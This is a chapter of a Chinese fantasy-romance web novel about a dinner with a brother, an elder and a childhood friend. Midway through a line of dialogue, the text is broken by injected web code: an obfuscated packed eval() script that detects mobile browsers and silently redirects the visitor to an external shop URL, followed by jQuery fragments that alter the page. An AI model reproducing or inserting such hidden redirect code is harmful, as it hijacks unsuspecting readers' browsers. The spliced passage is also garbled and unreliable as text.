肖中玉虽为人仗义却极其轻浮,不能让他过多接触衣儿。
“诶,花兄如此防范实在伤透了在下的心。万山门人人夸赞花兄为人处世尽是君子风范,谁知面对救命恩人竟这般无情冷漠。”
他使劲眯眼挤出两滴泪,低声抽泣。
花朝衣一激灵,竖起耳朵想听两人三千往事,谁知那肖中玉竟不继续讲了。
救命恩人,好大的瓜!这下有了不得不和大长老深交的理由,不能让人跑了。
花朝行不愿浪费时间,转身欲走,却被花朝衣拉住。
她目光闪躲,面颊泛红,“兄长,衣儿想与帅哥哥一起吃饭。”
“啥!?”
“诶!乖妹妹。”
肖中玉的表情一秒放晴,连扇几下扇子,笑得简直合不拢嘴,得意地晃到跟前催促花朝行快走。
花朝行白他一眼,几次想劝说花朝衣,见她垂头不理,只得请店小二带路。
今日本该是临走前与妹妹独处的一段美好时光,全被肖中玉毁了!
怒气在脑内横冲直撞,花朝行愤愤转头,狠狠瞪了肖中玉一眼。
不料这家伙不仅没有丝毫畏惧,还趁机摆鬼脸。
一月后秘境探险为三方合作,肖中玉也在随行队伍名单上。花朝行攥紧拳头,放出灵信传话警告他最好别和自己分到一队。
肖中玉不理,嬉皮笑脸地左顾右盼。
本以为双人行变三人行已足够倒霉,谁曾想四人一登上二楼,率先见到的竟是夜家三口。
花朝行与肖中玉行礼问好的功夫,夜家夫妇闪身冲进包房,“砰!”的关门声后,只留夜轻尘在过道与四人面面相觑。
肖中玉眉毛一挑,扇面遮挡住下脸,向花朝行传递灵信:夜家公子是什么先天修炼圣体!?两年前见他才刚入气,而今竟然炼气期大圆满了!也是有我当年的风范。不过他要是拜入万山门,你这首席大弟子的位置可就坐不稳咯。
花朝行不语,反手掐灭灵信。
他有不好的预感,三人行可能要成四人行。
“夜哥哥!”花朝衣从花朝行身后探头,敲敲门扉,向夜父夜母问好。
夜母应答的声音从门后传出,“衣儿,伯父伯母忽然不太舒服,尘儿又是个脾气大的,怕打扰他的就餐体验。你们不介意就捎上他一块儿吃吧,账记夜府头上。要不乐意带他,把他丢走道就行,他会自己回家。”
夜轻尘无言,他双手攥紧袖口,求助的目光穿过花朝行,落在花朝衣身上。
花朝衣眼角抽抽,好拙劣的谎言,好拙劣的演技。
但为了保持人设,她只得摇摇花朝行的手臂请求带上夜轻尘吃顿饭。
花朝行不理会肖中玉灵信内的幸灾乐祸,温声答应花朝衣后,冷声请小二带路。
见来一个人花朝行的脸就黑一分,饶是小二再巧舌如簧也不敢轻易吱声,兢兢业业地将四人带入屋内后一溜烟地就跑没影了。
肖中玉笑得猖狂,不顾对方反抗拉过花朝行和自己坐一块儿,“得了你,知道你疼你妹,但人家小两口的还别掺和了。”
“什么小两口?”花朝行“啧”一声,“男未婚,女未嫁,八字还没一撇呢!”
夜轻尘抿唇,从腰间荷包中取出一叠红纸塞到花朝衣手中,“我刚学,剪出的第三个成品送给衣儿。”
捏住红纸的一角三两下翻开,一张裁出少女轮廓的剪纸赫然展现在眼前,花朝衣惊呼一声,“真好看!谢谢哥哥!”
才第三个成品吗?遥想她当年也学了数月才能裁处这样水平的作品,花朝衣羡慕地偷瞄夜轻尘,怎么有人可以生得这么全能!
确认花朝衣眼中没有心虚,夜轻尘才真的放下心来,她不是安慰自己而是真心认为好看。
前两副作品虽也得到父母的夸赞,但二人向来只有鼓励,评价无法参考。
花朝衣捏住纸花,爱不释手地摸着摸那,花朝行柔声道:“衣儿喜欢剪纸吗?兄长走之前送你一家剪纸铺子好不好?请几个师傅来做,衣儿有喜欢的直接拿,好不好?”
听秋元所言,花朝衣对医药方面产生兴趣后,夜轻尘马不停蹄地将所需工具与授业先生全部安排妥当,他做大哥的却连消息都没流通。这次衣儿的新爱好,他一定要在夜轻尘之前全部安排好。
“得了吧,”肖中玉一边指挥小二上菜,把海货尽数摆在花朝衣与夜轻尘身前,一边大笑,“妹妹喜欢的是妹夫送的礼物,你......”
“啧,”花朝行忍无可忍,一脚踹飞肖中玉的椅子,趁他用灵力回收椅子的功夫一簇雷电闪击其发尾,顺滑的秀发顿时炸得分叉。
眼见发尾被烤糊,肖中玉下意识脱手而出一道灵波。
一旁的小二冷汗浸透衣衫,心忧两人过招损坏店内物品,又不敢贸然插手其中恩怨,只得搓手祈祷手下留情。
夜轻尘起身拦至花朝衣身前,抬手锁定目标握拳绽出灵力,刹那间屋内温度骤降,空中即将对冲的灵波由内向外化成冰晶,落在地面“骨碌骨碌”滚了两圈。
有人出手制止,小二长舒一口气。
夜轻尘抱拳行礼,“多谢兄长、肖长老手下留情。今日衣儿再场,还请不要轻易动手,不出意外,未来一段时间二人可以随时随地切磋武艺。”
两人修为均在他之上,若想动真格,他全无招架之力,更别提如此轻易地拦下进攻。
方才一言不合就开打着实给花朝衣吓一跳,时不时来这一遭可太刺激了。
花朝行的妹控性格多半从小养成,这种妹控最好哄,他不在意别人看法,只要妹妹顺着毛来很快就能平息怒火。
而他欲赠剪纸铺是因自己对纸花产生兴趣,动机合理,兄长所赠,来源合法,不易因店主是心智未全而引起过多注意。
这铺子她需得到,用途虽暂且不定,但定是一处拥有发展潜能的“宝地”。
她捧起桌上一只个头饱满、红彤彤的大闸蟹放入花朝行碗内,“兄长,不能打架。”
眨眼间,花朝行已坐回座位,眼睛眯成一条缝,乐呵呵地答应花朝衣。
“兄长,衣儿喜欢夜哥哥送的纸花,也喜欢剪纸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17974776|214734||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。”
“真的?那兄长送你一间剪纸铺如何?”
“衣儿自己剪的剪纸也可以被放入铺中售卖吗?”
“当然,”肖中玉冒头,“衣儿的剪纸玉哥哥全部都会买走。”
夜轻尘抬眼看他一眼,嗤笑一声,手中剥虾壳的动作不停。
“可兄长不是要走了吗?要上山去了。”花朝衣垂下眼,似是不舍,似是埋怨,“兄长走了,谁还会赠衣儿铺子呢?”
花朝行道:“兄长走前会将一切安排妥,铺子开业时衣儿与母亲一同前往便可。”
“衣儿,来吃,”见花朝衣应答,夜轻尘将手中雪白鲜嫩的蟹腿肉放到花朝衣碗内的虾肉上,“碗里要放不下了。”
鲜香去壳的海货在碗内,花朝衣忍不住大快朵颐起来,吃海鲜有人剥壳的日子简直赛过神仙!
她吃两口,夜轻尘又放一点,如此往复。
花朝行饮一口茶,手肘顶顶肖中玉,“诶,还没说你来这干什么?”
落鸟阁内设二十名以综合本事排序的长老之位,无一不是日理万机,更何况其中大长老肖中玉。
纵使即将启程探索秘境也没有正式假期,肖中玉更不可能有空闲来海怡楼吃饭。
其中定有蹊跷。
此问一出,花朝衣咀嚼与夜轻尘剪螃蟹的动作均无意识放缓,不着痕迹地侧耳聆听。
肖中玉面色凝重,放下竹筷端起梅花酿大饮一口,摇头叹气,“若无此事,我本该在阁楼不分昼夜地炼丹,掏空门内已入籍储存的所有药材!可谁知,天妒英才......”
花朝行不留情地打断:“讲重点。”
“洛亲王最疼惜的嫡子病了,久卧床榻、长睡不起,宫里的太医都无法医治,求来告去找到我这来了。我虽医音符丹四修,可世子并非修士,天生凡人体内并无灵根,我也无能为力。他们知我最爱的童宝尚在阁楼,因此勒令若治不好世子,我在出发前就不必回去了。”
“所以肖长老眼下是被禁足于都城内了?”夜轻尘冷不丁开口。
“不错,”肖中玉卷起手绢拭去眼角挤出的泪,“让我的童童宝儿空守阁楼,我这个做主人的真是不称职!可惜亲王之命实属难违!”
“童童宝儿?”
“他的炼丹炉。”花朝行扶额。
夜轻尘瞄肖中玉一眼,很快目移,花朝衣也“噗呲”一声笑了。
她拌拌碗中饭菜,耳边肖中玉的辩解声逐渐消失。
如此看来,今日未从书中寻得修士体质的分析讲解是因无人研究。
医修仰仗灵力治愈修士的伤病,无需习得中医基本学术理论,这便导致医修只能治愈修士。
而凡间大夫无法与医修交流,基础理论暂无传播渠道,从而两者理论割裂严重,实践也难以相通。
要想改变现有格局,于现在的她而言堪称蜉蝣撼大树。
世界改变不了,救人还是可以。
花朝衣食指点点勺柄,眼神凌厉一瞬。
这个世子太医治不了,医修治不了,那就她来治。